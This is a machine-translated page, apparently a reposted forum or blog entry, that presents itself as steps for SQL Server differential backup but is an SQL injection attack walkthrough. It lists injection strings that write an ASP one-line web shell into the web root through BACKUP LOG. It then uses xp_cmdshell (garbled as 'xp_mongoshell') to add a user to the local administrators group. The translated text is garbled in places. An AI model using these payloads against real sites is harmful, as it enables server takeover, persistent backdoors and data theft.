Steps for manual differential backup by sqlserver

Source: Internet
Author: User
For more information about how to manually implement differential backup for sqlserver, see.

For more information about how to manually implement differential backup for sqlserver, see.

Character Type:

1. Restore the current database
; Alter database Current database set recovery full --

2. Create a table cmd
; Create table cmd (a image )--

3. Back up the current database to D: \ cmd1
; Backup log current database to disk = 'd: \ cmd1 'with init --

4. insert a sentence code to the created table cmd.
; Insert into cmd (a) values ('<% 25 ** ecute (request ("a") % 25> ')--

5. Back up one sentence of code to the site root directory
; Backup log current database to disk = 'd: \ www_web \ oct. asp '--

6. Complete
; Drop table created table --

Number Type

1. Restore the current database
'; Alter database Current database set recovery full --

2. Create a table cmd
'; Create table cmd (a image )--

3. Back up the current database to D: \ cmd1
'; Backup log current database to disk = 'd: \ cmd1' with init --

4. insert a sentence code to the created table cmd.
'; Insert into cmd (a) values (' <% 25 ** ecute (request ("a") % 25> ')--

5. Back up one sentence of code to the site root directory
'; Backup log current database to disk = 'd: \ www_web \ oct. asp '--

6. Complete
'; Drop table created table --

Sa permission to create an administrator user

1. Determine whether injection exists; and 1 = 1; and 1 = 2
; And user_name () = 'dbo' determine whether the user connected to the current system is sa

2. Add the system administrator
; Exec master. dbo. xp_mongoshell 'net user wk wk90/add ';--
; Exec master. dbo. xp_mongoshell 'net localgroup administrators wk/add ';--

Revenge: I will never do it manually if I have tools.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.